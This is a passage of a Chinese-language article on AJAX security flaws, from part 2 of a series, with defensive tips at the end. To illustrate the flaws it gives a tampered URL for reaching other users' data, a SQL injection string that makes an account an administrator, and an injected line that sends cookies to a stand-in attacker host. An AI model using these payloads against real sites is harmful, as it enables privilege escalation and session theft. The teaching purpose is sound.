談AJAX的安全性及AJAX安全隱患(2)

ajax|安全|安全性|安全隱患 5.不安全的通訊：每一個AJAX調用可能只回傳很少數量的資料給用戶端，但那些資料是私人的、保密的。Max可以編寫一個便利的工具來對你的信用卡號碼進行數字校正，但是如果使用純文字代替over SSL進行發送資料會怎樣呢？這是一個顯而易見的問題，但是當有許多例行程式需要考慮，特別是螢幕上其它99％的資料不是真正的機密資料時，很容易就會忽視掉SSL的。

　　6.伺服器端存取控制：使用JavaScript程式來觸發AJAX經常會掩飾一些顯而易見的編碼錯誤，伺服器端存取控制就是一個例子。假設Max想參考你上次遊覽的一個詳細目的地來為你提供你中意的旅館，他可能會是像下面這樣：
showprevioushotels.aspx?userid=12345&destination=UK

　　這當然是非常好的，但是如果一個惡意使用者把URL改成了如下所示該怎麼辦呢：
showprevioushotels.aspx?userid=12346&destination=%

　　他們會得到其他人最喜愛的旅館嗎？（注意：％在SQL語句中是萬用字元）。無疑，這是一個沒有什麼危害的例子，但是Max應該使用session、cookie或者其它符號形式來確保資料能並且只能發送到正確的使用者那裡。它們可能僅僅是資料的一小部分，但它們可能就是最重要的一小部分。

　　7.伺服器端驗證：實際上這裡有兩個問題。第一，AJAX控制經常被用來在使用者最後提交到伺服器之前的輸入驗證。這麻痹了Max，使Max有一種虛假的安全感，原因是他建立了稱作alloweddestinations.php的函數，根據使用者的ID來決定他們能夠到達的正確目的地。

　　因為這是一個伺服器端的檢查，當這個頁面最後被提交的時候他不必再次為在伺服器上做檢查而煩惱，這裡我們假定不會有惡意的使用者暗中破壞從alloweddestinations.php的響應或者破壞對伺服器最後的請求。

　　AJAX控制可以比使用者自己更仔細驗證使用者的輸入，但是他們還是經常在伺服器上最後做一次驗證。

　　AJAX驗證的第二個問題就是控制本身會受到驗證漏洞的影響。這裡再次強調一下，URL通常是隱藏著的，所以也會經常忘掉它。舉例說明一下，也許我可以使用SQL Injection來對剛才的指令碼進行攻擊，如下所示：
showprevioushostels.aspx?userid='; update users set type='admin' where userid=12345;--

　　就會讓我登入後具有系統管理員的許可權。當然，如何取得那些表名（table）和欄位名已經超出了本文討論的範圍，但是你已經瞭解這種情況了，不是嗎？

　　8.用戶端驗證：我們已經知道在剛才的Google Suggest例子中，通過簡單評測服務端的響應後動態建立和執行JavaScript函數是可行的。如果沒有任何形式的驗證（如果這樣的話在用戶端很難保證可靠性和流暢性），用戶端將僅僅簡單執行伺服器需要它完成的事情。

　　這樣的話，由於真正的代碼怎麼執行的對於一個普通使用者來講是永遠看不到的（也就是說你不能夠“查看源檔案”），於是潛在地為惡意的駭客們開啟了一個完全的攻擊導向。如果伺服器的響應持續不斷地被搗亂（這種破壞行為可能是在Web伺服器本身也可能是在資料轉送過程中），這種攻擊將很難被發現。

　　Max使用下面的響應在目的地網頁上更新天氣表徵圖，他是用的函數是eval();函數：
updateWeatherIcon('cloudy.gif');

　　然而，惡意的cracker能夠把這個函數變成下面的形式，這樣要發現這種攻擊就更加困難了：
updateWeatherIcon('www.myhackingsite.ru/grab.aspx?c=' + document.cookies); updateWeatherIcon('cloudy.gif');

　　我們現在能夠在我們自己的伺服器上跟蹤每一個使用者的session ID/cookie。

　　 小結

　　毫無疑問，AJAX和AJAX-style技術都是通向web設計的光明大道。開發人員可以在web上創造出以前從所未有的真正的“應用程式”，使用AJAX必須小心謹慎，這樣才能夠保證web網站的安全。

　　然而，最大的威脅之一，來自日益複雜的使用AJAX的用戶端指令碼和伺服器端指令碼。這些指令碼被技術手段隱藏在了視線之外，使測試很不直觀；同時，這種新技術看起來也使web開發人員忘掉了基本的好的編碼方式。就像存取控制和輸入校正這樣的問題也不會消失，它們變得更多更複雜了。

　　5個最重要的AJAX安全提示：

　　為了取得成功，你必須從好的計劃開始。必須集中你的才智減少和簡化AJAX調用，建立一個標準的響應格式，在任何地方都要遵循這個協定（理想的XML）。

　　遵循來自像開放全球資訊網應用安全計劃那樣的網站的最優方法。這裡面特別包含了存取控制和輸入校正漏洞檢查，同時確保敏感資訊使用over SSL勝過使用普通文本。

　　永遠不要假設伺服器端AJAX對於存取控制或者使用者輸入校正檢查能夠代替在伺服器上的最終再檢查。增加AJAX控制永遠不會減少你的驗證工作量，它們只能增加你的工作量。

　　永遠不要假設用戶端的混淆技術（obfuscation，在這裡指使JavaScript難於閱讀和解碼）能夠保護你非常重要的商業秘密。使用JavaScript是隱藏程式設計最沒用的一種手段，還能夠為你的對手提供好處。

　　最後，你必須非常好的領導你的Team Dev。使用AJAX聽起來非常引人注目，但是你應該認識到要保留你的Team Dev以便開發版本2，當然現在你應該開發非常穩定的版本1。